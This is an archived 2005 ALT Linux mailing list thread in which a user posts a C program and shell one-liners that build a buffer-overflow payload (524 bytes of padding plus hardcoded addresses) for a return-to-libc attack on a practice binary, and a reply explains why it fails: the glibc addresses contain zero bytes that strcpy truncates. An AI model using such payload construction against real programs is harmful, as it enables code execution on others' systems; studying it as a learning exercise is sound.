ALT Linux users (in English only)
 help / color / mirror / Atom feed
* [Comm-en] System call via buffer overflow not working
@ 2005-01-21 22:46 Aaron McDonald
  2005-01-24 20:20 ` Egor Grebnev
  0 siblings, 1 reply; 2+ messages in thread
From: Aaron McDonald @ 2005-01-21 22:46 UTC (permalink / raw)
  To: community-en

Here are the typo fixes from my previous email:

//makehex.c
main() {
        char pad[524];
        int i;
        for (i=0; i < 524; i++)
                pad[i] = 'A';
        pad[524]='\0';

        printf("%s\xe0\x9e\x16\x00\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf", pad);
}

./vulner1 $(perl -e 'print "A"x524')$(printf

"\xec\x83\x04\x08\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf")
	or
./vulner1 $(./makehex)	 //don't forget to update and recompile makehex




^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: [Comm-en] System call via buffer overflow not working
  2005-01-21 22:46 [Comm-en] System call via buffer overflow not working Aaron McDonald
@ 2005-01-24 20:20 ` Egor Grebnev
  0 siblings, 0 replies; 2+ messages in thread
From: Egor Grebnev @ 2005-01-24 20:20 UTC (permalink / raw)
  To: community-en

Aaron,

A small comment from Dmitry Levin, a lead developer who isn't subscribed 
to this mailing list yet.

I hope that the original meaning hasn't been lost during translation 
from Russian ;-)

The technique that you are trying to master is called return-to-libc. It 
is a bit more complex since in the string view the function addresses 
from our glibc are zero bytes. As a result, strcpy in your sample only 
copies a part of the string, and the sample doesn't work.

You can make a Google search on this topic, many things were written 
about it some time ago.

Aaron McDonald wrote:

> Here are the typo fixes from my previous email:
>
> //makehex.c
> main() {
>        char pad[524];
>        int i;
>        for (i=0; i < 524; i++)
>                pad[i] = 'A';
>        pad[524]='\0';
>
>        printf("%s\xe0\x9e\x16\x00\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf", pad);
> }
>
> ./vulner1 $(perl -e 'print "A"x524')$(printf
>
> "\xec\x83\x04\x08\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf")
>     or
> ./vulner1 $(./makehex)     //don't forget to update and recompile makehex
>
>
> _______________________________________________
> Community-en mailing list
> Community-en@altlinux.org
> https://lists.altlinux.org/mailman/listinfo/community-en




^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2005-01-24 20:20 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2005-01-21 22:46 [Comm-en] System call via buffer overflow not working Aaron McDonald
2005-01-24 20:20 ` Egor Grebnev

ALT Linux users (in English only)

This inbox may be cloned and mirrored by anyone:

	git clone --mirror http://lore.altlinux.org/community-en/0 community-en/git/0.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 community-en community-en/ http://lore.altlinux.org/community-en \
		community-en@lists.altlinux.org community-en@lists.altlinux.ru community-en@lists.altlinux.com
	public-inbox-index community-en

Example config snippet for mirrors.
Newsgroup available over NNTP:
	nntp://lore.altlinux.org/org.altlinux.lists.community-en


AGPL code for this site: git clone https://public-inbox.org/public-inbox.git